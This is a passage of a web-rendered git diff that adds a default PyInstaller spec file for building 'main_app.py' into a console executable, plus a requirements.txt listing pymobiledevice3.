# -*- mode: python ; coding: utf-8 -*-
|
||||||
|
|
||||||
|
|
||||||
|
a = Analysis(
|
||||||
|
['main_app.py'],
|
||||||
|
pathex=[],
|
||||||
|
binaries=[],
|
||||||
|
datas=[],
|
||||||
|
hiddenimports=[],
|
||||||
|
hookspath=[],
|
||||||
|
hooksconfig={},
|
||||||
|
runtime_hooks=[],
|
||||||
|
excludes=[],
|
||||||
|
noarchive=False,
|
||||||
|
)
|
||||||
|
pyz = PYZ(a.pure)
|
||||||
|
|
||||||
|
exe = EXE(
|
||||||
|
pyz,
|
||||||
|
a.scripts,
|
||||||
|
[],
|
||||||
|
exclude_binaries=True,
|
||||||
|
name='main_app',
|
||||||
|
debug=False,
|
||||||
|
bootloader_ignore_signals=False,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
console=True,
|
||||||
|
disable_windowed_traceback=False,
|
||||||
|
argv_emulation=False,
|
||||||
|
target_arch=None,
|
||||||
|
codesign_identity=None,
|
||||||
|
entitlements_file=None,
|
||||||
|
)
|
||||||
|
coll = COLLECT(
|
||||||
|
exe,
|
||||||
|
a.binaries,
|
||||||
|
a.datas,
|
||||||
|
strip=False,
|
||||||
|
upx=True,
|
||||||
|
upx_exclude=[],
|
||||||
|
name='main_app',
|
||||||
|
)
|
||||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
|||||||
|
pymobiledevice3
|
||||||
Reference in New Issue
Block a user